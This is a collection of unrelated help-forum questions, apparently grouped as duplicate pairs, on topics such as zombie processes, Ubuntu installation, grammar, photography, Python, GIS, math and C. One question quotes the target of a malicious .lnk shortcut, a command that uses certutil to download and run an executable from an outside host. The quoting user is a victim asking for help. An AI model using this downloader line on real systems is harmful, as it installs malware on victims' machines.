The last post I reviewed in the Late Answers queue dates back to 9 hours ago (by the time I am writing this). I was appearing on the head of the queue until a moment ago when a user just logged in and appeared, mysteriously, on the head of . But the problem is that there is no late answer posted either before, or after he logged in, and his review history shows the last post he reviewed was  (by the time this question is written).  My question: where is this late answers that I did not see? Deleted by the owner? No, it is an impossible scenario as I have been online and nothing like that happened.  The user appears on the head of that queue whenever he finds himself not on that position.  I recently posted a question about this exact thing but I deleted it after a user said it must be a late answer deleted by its owner (which scenario I did not believe in as it simply did not occur).  This scenario also is related to the one I described .  Is there a bug which some users exploit? The user in question even reviews old posts which are post on hold several hours ago as elements of the First Posts queue.  I also noticed 2 years ago, a different user behaving exactly the same way on Information Security website where I am no longer active.

This is a revisit of  that seems to have grown stale without any solid answer. Just recently I was baffled by 's ability to :  In my experience, certain review queues seem to be more inclined to "single-user reviews" (like First Posts and/or Late Answers), while others are more geared to "multi-user reviews" (like Close Votes and/or Suggested Edits). This does not seem to be the case here. The "requirement" for such late, duplicate reviews are questionable and               (         ). Even being able to  (I highly doubt this was an instance of keeping the review window open for more than an hour and only reviewing it post mortem - first post reviews are dealt with far more quickly than most other review queues):   While these examples do not speak to the , it sure seems biased. Something is amiss... Over at  we have a far smaller community, so these situations are far more noticeable.  Edit: The following are all candidates for the above discussion:


According to:   In order to clean a zombie process I should kill its parent.  In my case the parent is PID 1 (init). Which according to:   can't be killed. (even if it could be killed, I'm not sure it's such a good idea)  root@localhost:~# ps -ef | grep bcmrm root     16772 30829  0 22:47 pts/8    00:00:00 grep bcmrm root     21272     1  0 Jan26 ?        00:00:02 [bcmrm] <defunct>   What are my options? And why didn't init process cleaned it up?  Thanks,

A zombie process, which should not be using any resources (RAM and CPU), is hogging up an entire core on my 8-core 64-bit Ubuntu 11.10 Desktop installation.  This is the output of ps -el|grep Z:  F S   UID   PID  PPID  C PRI  NI ADDR SZ WCHAN  TTY          TIME CMD 0 Z  1000 10317     1 99  80   0 -     0 exit   ?        19:27:15 java <defunct>   ... and here is an excerpt from top:    PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND                                                                                10317 deltik    20   0     0    0    0 Z  100  0.0   1170:17 java <defunct>  1424 root      20   0  612m 193m 158m S   14  2.4 287:17.11 Xorg 12580 deltik    20   0  710m 135m  46m S    5  1.7  27:31.07 compiz   This is how the zombie process came to existence:   I opened a Java JAR called . This launcher downloads another JAR file to ~/.minecraft/bin/minecraft.jar That JAR was executing when I locked my computer with xscreensaver. Then, I entered my password to unlock the computer, and I saw that the Minecraft window was frozen. I tried killing it (PID 10317) with gnome-system-monitor. It became a zombie. kill -9 10317 was ineffective. xkill only closed the window titled "Minecraft"; it didn't close the underlying java process.   Relevant information:   The graphics driver is FGLRX, and it has caused notorious issues with  of  and , including sometimes high CPU usage of Xorg and compiz.   I want to know:   What way is there to destroy this process of java without restarting, if any? Why is this issue happening? What can I do to prevent this issue from happening again?


I received a link file masquerading as a text file. By mistake I had clicked that and suddenly a command prompt opened. Surprised at the unexpected behavior I closed that window. Upon inspecting the file, it had .lnk extension. While normal .lnk file has few byte size, this one was few hundred MB.  Inspecting the details of the .lnk file, it had in the target field the following command  %ComSpec% /c echo CreateObject("Wscript.Shell").Run"""%ComSpec%"" /c del ""%USERNAME%.vbs""&certutil -urlcache -f https://coid.xyz/?di1708e9xmgN9OFQ=amusers_%PROCESSOR_ARCHITECTURE% ""%USERNAME%.exe""&&""%USERNAME%.exe""",0 >"%USERNAME%.vbs"&"%USERNAME%.vbs"   While the start in field had  "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"   Need some help in understanding what does this code fragment do, and if possible how to check if anything bad has happened and how to undo the changes.  Windows 8 system, if any way relevant. Let me know if any other information is needed.

What should I do if my Windows computer seems to be infected with a virus or malware?  What are the symptoms of an infection? What should I do after noticing an infection? What can I do to get rid of it? how to prevent from infection by malware?   This question comes up frequently, and the suggested solutions are usually the same. This community wiki is an attempt to serve as the definitive, most comprehensive answer possible. Feel free to add your contributions via edits.


I downloaded Xubuntu debian OS when I got my Lenovo laptop many years ago by booting from a USB and following a tutorial. Throughout the years I've wrecked my OS from my ignorance in deleting files that programs like ClamTK flagged as viruses and malware. A bunch of little things malfunction like volume controls, I can't send files to the Recycling Bin via the dropdown menus, I can't view files to upload from my desktop, etc...  I'm wondering how I can remove Windows 10 altogether, then USB boot a regular non-debian Ubuntu (which I think is more accessible for my knowledge of computers and interface friendly) without bricking my laptop. Any help/advice is greatly appreciated.

I would like to see a full how-to guide on how to install Ubuntu.


I ran into these sentences that got me thinking about would/will:  I will like to have your number. I would appreciate a text.  Is that grammatically incorrect or just impolite? I suppose the above could be construed as a question. I'm also curious if the same rule holds true if you are responding to a question where you are compelled to provide a response. For example, assume someone asks:  For your fruit, an apple or an orange?  Why do these sound like correct responses?  I will take an apple. I would like an apple.  At the same time, this sounds contrived?  I will like an apple.  Is there a rule behind this, or is it just convention?

I encounter the phrase "I will appreciate your help" from time to time and it doesn't sound too honest to me. To be more specific, I don't have a problem with this phrase coming from a friend, because he will appreciate my help by "owing me one". But a stranger from the Internet, that's different, methinks.  "How will you appreciate it?" pops in my mind every time I see it, because to me, appreciation equals reward and, well, you can't reward people over the internet much. It is quite possible that I am just wrong and this is a perfectly fine figure of speech.


1) I have 50mm f1/8 prime lens and 75-300mm lens. Please suggest me what setting I should use to keep everything in focus, because background comes blur and i do not want to keep background blur .   2) When I shoot group photo, than some people face looks blur. I tried to increase aperture.  Please suggest me what shutter speed and aperture to use for both cases.   Thank you.

How do you have both the background and foreground in the image in focus at the same time?  Last week I was attempting a shot where I had the back of a hat in focus and in the distance you could see a mountain. I wanted both in focus, but could either focus on the mountain or the hat. I ended up taking the in-focus shots of both and merging them in Photoshop. While that isn't difficult I would prefer to shoot the shot as accurate as possible. From what I have read aperture is important in the depth of field but what are the techniques for keeping both the background and foreground in focus?  I am using a Nikon D5100 with a 18-55mm f/3.5-5.6 (standard kit lens) and a 55-200mm  f/4.5-5.6.    almost answers my question, but I am a bit confused. Can someone explain this a bit differently? Thanks!


I want to update my OS to Ubuntu but I am confused about what version I should install. It has windows starter.  I have a netbook with 1.66 GHz atom N450 processor & 2GB ram   What's the best Ubuntu version to install on a such machine?

For a given hardware configuration, how do I find out if Ubuntu will run on it? What considerations should I take into account when choosing an Ubuntu version and  such as:    with a lighter desktop than the usual Gnome and Unity  with the even lighter LXDE desktop   Obviously Ubuntu does not run on some processor architectures. So how do I go about choosing the right version and derivate. How can I find out the minmal system requirements?


I just agreed with a duplicate suggestion for one of my .  It's now showing that it was closed as a duplicate by the person who raised the duplicate suggestion and Community.  Since it was my yes this solves my problem click that triggered the closing/status change shouldn't I get credit instead?

Situation: when a user self-marks their post as a duplicate, it shows as closed by "community" rather than the original poster.  Problems: this is not clear at all to most users of SE what has happened. It looks like the question was "mod closed" as a duplicate against the asker's wishes.    Suggestion: instead of the community user "closing" the post, have the final close user be the asker (or make it "Community & Asker"). This will help clear up confusion and streamline the process for understanding what happens.


I am having trouble with finding the right transformer for a set of 7w led ground lights I bought on Amazon, apparently they are not compatible with Leon lights  Any thought?

I bought: Check this out at Amazon.com LEONLITE 7W In-Ground Landscape Lighting, IP67 Waterproof LED Outdoor Well Light, UL Listed Linkable Pathway Lights, 12-24V, 3000K Warm White, for Yard, Garden, Patio, Pack of 6


I have the following string: "aaaabbbb"  How can I get the last four characters and store them in a string using Python?

Is there a way to substring a string in Python, to get a new string from the third character to the end of the string?  Maybe like myString[2:end]?  If leaving the second part means 'till the end', and if you leave the first part, does it start from the start?


First time using grass. I need to convert DN to reflectance. Imagery -> Sat. images tools-> i.landsat.toar. But when I add raster name. I get error.  Im using landsat 8 images  WARNING: WARNING: ESUN evaluated from REFLECTANCE_MAXIMUM_BAND Calculating... ERROR: Unable to open header file for raster map <LC81890272015184LGN00_B11@abcdefgh1@   I have try  but it wasnt working.

I am working with Landsat 8 image acquired in 2014. I am trying to convert the raw image (DN) to Top Of Atmosphere Reflectance/Radiance (i.landsat.toar) in Grass 7.1 (still under development). The reason for using this version is that it is caters for landsat 8. I specify the metadata file and load the information etc. I get the same error every time:      ERROR: Unable to open header file for raster map    Base Name of input raster band: LC81700832014160LGN00_B1@PERMANENT  Prefix for output raster maps: LC81700832014160LGN00_B1.toar Name of metadata file: C:\Users\carinswart\Documents\GIS_DataBase\Landsat8\GHT\09June14\LC81700832014160LGN00_MTL.txt   I have tried to be careful not to leave gaps in my file names.


Let $(M,d)$ be a metric space, let $A \subset B \subset M$, and let $x \in A$. Does the inequality below hold?  $$ dist(x, \partial A) \leq dist(x, \partial B) $$  Follow-up question: if not, does it hold if we add either/both of the following restrictions:    $A$ and $B$ are open $(M,d)$ is $\mathbb{R}^n$ with the usual distance   NOTE: for any set $E \subset M$, we define $dist(x, E) = \inf \{ d(x,z) : z \in E \}$

Let $A,B \subseteq \mathbb{R}^n$ with euclidean metric. Furthermore let $$ \mbox{dist}(X, Y) := \inf\{|x - y| : x \in X, y \in Y\}. $$ Does the following implication hold?     $A \subseteq B \implies \forall x \in A: \mbox{dist}(x,\partial A) \le \mbox{dist}(x, \partial B)$    Problems could arrise if one of the boundaries $\partial A$, $\partial B$ is empty. But in this case $A$ or $B$ would be clopen, and hence equal to $\mathbb{R}^n$ or $\emptyset$. I think I am better off assuming $A \neq \emptyset$ and $B \neq \mathbb{R}^n$ to avoid problems.    Thanks to a suggestion by GEdgar I came up with the following proof:  Let $s \colon [0,1] \to \mathbb{R}^n$ be the straight line with $s(0) = x \in A$ and $s(1) = y \in \partial B$. I want to show, there exists $t' \in [0,1]$ with $s(t') \in \partial A$.   It is safe to assume $x \not \in \partial A$, since then $\mbox{dist}(x,\partial A) = 0$ and the inequality holds trivially. Same goes for the assumption $y \not \in \partial A$.  Consider now the function $$ f(x) := (1-2 \chi_A(x)) \cdot \mbox{dist}(x,\partial A). $$ One can check that this function is continuous on $\mathbb{R}^n$:   No problems on $\mathbb{R}^n \setminus \partial A$, since as a property of metric spaces $\mbox{dist}(\cdot,\partial A)$ is continuous and furthermore $(1-2 \chi_A(x))$ is constant. Let $\lim_{n \to \infty} x_n = x \in \partial A$. Then  $$ |(1-2 \chi_A(x_n)) \cdot \mbox{dist}(x_n,\partial A)| \leq \mbox{dist}(x_n,\partial A) \to 0 = \mbox{dist}(x,\partial A), $$ since the closedness of $\partial A$ implies $\mbox{dist}(x,\partial A) = 0$ iff $x \in \partial A$.   Now the claim follows by application of the intermediate value theorem.  Is this proof correct?  Does the claim also hold for more general metric spaces $(X,d)$ which are only connected/path connected? Of course the definition of $\mbox{dist}$ would be modified accordingly $(| x - y | \to d(x,y))$


This works:  int main() {           char *t = "Hello";     t = "World";     printf("%s", t); }   But this gives segmentation fault:  int main() {        char *t = "Hello";        strcpy(t, "World"); // the only difference     printf("%s", t); }   Why?

The following code receives seg fault on line 2:  char *str = "string"; str[0] = 'z';  // could be also written as *str = 'z' printf("%s\n", str);   While this works perfectly well:  char str[] = "string"; str[0] = 'z'; printf("%s\n", str);   Tested with MSVC and GCC.


I have created many Python functions in QGIS Field Calculator Function Editor. How can I export the user defined functions to use in other computers or share to other people? My QGIS is 3.12.1 on MacOS 10.15.7

Im trying to calculate certain values of a newly calculated point. So I use the field calculator to write an equation to determine the values.   Is there a way to save that equation, so that if and when I start a new job, I don't have to retype it in?   Something similar to how you save styles and symbology for a array of points.


Suppose $a_n$ is real sequence which satisfies $$ a_1>0, \quad a_{n+1}=\ln(a_n+1) \quad (n\geq1)$$  How can I evaluate $$\lim_{n\to\infty}na_n$$?  I just know $$\lim_{n\to\infty} a_n=0$$  But I don't know what should I do for $na_n$.

Suppose that $a_{n+1}=\log(1+a_n),~a_1>0$. Then find $\lim_{n \rightarrow \infty} n \cdot a_n$.   I can find $\lim_{n \rightarrow \infty}a_n=0$. But I have no idea how to find $\lim_{n \rightarrow \infty} n\cdot a_n$. (In this problem, $\log$ denotes the natural logarithm.) Could you give me key idea about solving this problem?


I recently make a WebView App for my website and i have a few versions of it but i like this the best. On the tutorial guy video, it all works 100% Great but on mine tho, theres tons and tons of errors that i had resoved. Now one left, the app crashes every single time i tried to start it. It will show for 2 seconds and then closed.  Here's the stack trace :  08-21 20:32:52.060 3149-3149/app.gonenjoy.com E/AndroidRuntime: FATAL EXCEPTION: main                   Process: app.gonenjoy.com, PID: 3149                   java.lang.NullPointerException                   at app.gonenjoy.com.MainActivity$MyWebviewClient.onPageFinished(MainActivity.java:160)                   at com.android.webview.chromium.WebViewContentsClientAdapter.onPageFinished(WebViewContentsClientAdapter.java:449)                   at com.android.org.chromium.android_webview.AwContentsClient$AwWebContentsObserver$1.run(AwContentsClient.java:73)                   at android.os.Handler.handleCallback(Handler.java:733)                   at android.os.Handler.dispatchMessage(Handler.java:95)                   at android.os.Looper.loop(Looper.java:146)                   at android.app.ActivityThread.main(ActivityThread.java:5641)                   at java.lang.reflect.Method.invokeNative(Native Method)                   at java.lang.reflect.Method.invoke(Method.java:515)                   at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1288)                   at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1104)                   at dalvik.system.NativeStart.main(Native Method)   Any help is apriciated.  Tested on Bluestacks & Samsung galaxy young 2 Android Studio v2.3

What are Null Pointer Exceptions (java.lang.NullPointerException) and what causes them?  What methods/tools can be used to determine the cause so that you stop the exception from causing the program to terminate prematurely?


I just finished a mission, and i dont remember killing anyone, but i threw 3 bodies on the water.  At the end of the mission, i ended up getting "3 kills"  So, dumping a unconscious guard/enemy to the water, counts as a kill ?

I have successfully performed a non-lethal take down, but the body fell into the water.  If I am going for one of the no kills achievements, do I need to worry about them drowning?


Well I checked and SO are the two Ubuntu 12.04 and Windows 7 Ultimate. but after restart the screen goes black for about 15 seconds and then start Ubuntu. Even not to do to bring up the Grub. Since the probe Boot-disk-repair-tool and this is the result I get:    thanks

( first sorry for my english. ) Hi please help I can't find a solution I'm searching the web 11 hours and I can't find a solution. :(   I can't boot Windows 7 after installing Ubuntu 12.04 LTS alongside with windows.  But after restarting the pc and when I hit enter on grub 2 for Windows 7, I get a black screen for 2 seconds and then its return back to grub.  BUT when I select Windows 7 restore Vaio care it will boot, but I don't have an option top open Cmd to fix something.  Please help me out.  Here is my Bootinfo from Boot-repair